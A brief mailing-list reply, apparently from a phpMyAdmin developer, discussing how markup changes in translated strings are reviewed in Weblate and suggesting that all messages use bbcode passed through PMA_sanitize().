Technically it is possible, though markup changes is something I always
check (Weblate has flag for this, so it's quite easy to review), so that
will not get in. Indeed it would be better to use always just bbcode and
pass all strings though PMA_sanitize(), but that means somebody would
have to go through the code and fix the messages :-).

PS: I hope you don't mind bringing this back to -devel list.
